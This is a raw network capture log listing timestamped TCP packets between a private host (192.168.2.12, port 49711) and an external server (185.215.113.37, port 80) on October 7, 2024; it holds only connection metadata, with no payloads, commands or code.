Oct 7, 2024 18:03:14.201442957 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.201474905 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.201508045 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.201533079 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.201540947 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.201560020 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.201574087 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.201586962 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.201612949 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.324168921 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.324218035 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.324230909 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.324246883 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.324278116 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.324451923 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.324462891 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.324476004 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.324486971 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.324495077 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.324500084 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.324508905 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.324533939 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.324798107 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.324841976 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.324878931 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.324979067 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.324996948 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.325009108 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.325018883 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.325038910 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.325061083 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.325309038 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.325320959 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.325330973 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.325341940 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.325352907 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.325377941 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.325687885 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.325699091 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.325710058 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.325720072 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.325735092 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.325748920 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.326091051 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.326101065 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.326111078 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.326121092 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.326132059 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.326136112 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.326143980 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.326148033 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.326174974 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.326639891 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.326649904 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.326661110 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.326672077 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.326682091 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.326683998 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.326700926 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.326716900 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.447679043 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.447772026 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.447802067 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.447810888 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.447827101 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.447856903 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.447905064 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.447938919 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.447948933 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.447973013 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.447982073 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.448009014 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.448023081 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.448050022 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.448426008 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.448460102 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.448493958 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.448494911 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.448507071 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.448642015 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.448709965 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.448744059 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.448779106 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.448795080 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.448815107 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.449043989 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.449076891 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.449109077 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.449146032 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.449167967 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.449234962 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.449320078 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.449353933 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.449383974 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.449385881 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.449407101 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.449418068 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.449450016 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.449482918 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.449534893 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.450103998 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.450136900 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.450164080 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.450171947 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.450181961 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.450206041 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.450232029 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.450238943 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.450252056 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.450273037 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.450278997 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.450314999 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.450623035 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.450678110 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.450699091 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.450733900 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.450759888 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.450768948 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.450774908 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.450803041 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.450809002 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.450836897 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.450894117 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.451442957 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.451476097 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.451508045 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.451513052 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.451524973 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.451540947 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.451545954 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.451575994 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.451585054 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.451610088 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.451615095 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.451644897 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.451656103 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.451692104 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.452362061 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.452397108 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.452414989 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.452430010 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.452435970 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.452462912 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.452481985 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.452497005 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.452507973 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.452529907 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.452543020 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.452563047 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.452573061 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.452596903 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.452606916 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.452645063 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.453313112 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.453346014 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.453376055 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.453381062 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.453391075 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.453411102 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.453419924 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.453444004 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.453458071 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.453476906 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.453483105 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.453511000 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.453526020 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.453543901 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.453546047 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.453610897 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.454161882 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.454195023 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.454225063 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.454227924 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.454238892 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.454261065 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.454293013 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.454301119 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.454324961 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.454334974 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.454359055 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.454401970 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.455118895 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.455152035 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.455183983 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.455185890 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.455208063 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.455219984 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.455224991 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.455254078 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.455264091 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.455286980 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.455293894 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.455319881 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.455329895 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.455353022 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.455360889 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.455396891 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.456083059 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.456115961 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.456149101 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.456162930 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.456182003 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.456192970 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.456213951 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.456223011 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.456248045 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.456279993 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.456291914 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.456312895 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.456317902 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.456857920 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.456892014 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.456912994 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.456923962 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.456950903 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.456958055 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.456959009 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.456991911 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.457005978 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.457026005 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.457029104 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.457058907 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.457093000 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.457101107 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.457124949 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.457156897 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.457165956 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.457194090 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.457837105 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.457870007 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.457902908 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.457921028 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.457936049 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.457957029 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.457971096 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.457981110 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.458003044 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.458009958 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.458034992 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.458038092 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.458070040 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.458076000 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.458103895 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.458136082 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.458139896 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.458798885 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.458832979 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.458864927 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.458873034 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.458887100 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.458899021 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.458916903 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.458931923 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.458965063 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.458976984 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.458996058 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.459002018 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.459029913 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.459060907 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.459072113 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.459094048 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.459100962 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.459127903 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.459134102 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.459377050 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.533821106 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.533889055 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.533895969 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.533926010 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.533971071 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.534024954 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.534085035 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.534116983 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.534121990 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.534159899 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.534210920 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.534229040 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.534466982 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.534516096 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.534535885 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.534548044 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.534553051 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.534584045 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.534616947 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.534621954 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.534636021 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.534656048 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.534657001 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.534691095 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.534693003 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.534751892 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.536183119 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.536233902 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.536242008 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.536267042 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.536304951 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.536377907 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.536427975 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.536436081 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.536462069 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.536463022 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.536497116 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.536526918 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.536541939 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.538110971 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.538161039 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.538170099 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.538193941 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.538197994 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.538321972 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.538352013 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.538371086 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.538386106 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.538405895 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.538419962 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.538423061 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.538456917 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.539556026 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.539618015 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.539621115 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.539655924 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.539683104 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.539695978 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.539817095 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.539849043 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.539870977 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.539882898 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.539895058 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.539917946 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.539921045 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.540090084 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.540137053 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.540169001 CEST	80	49711	185.215.113.37	192.168.2.12
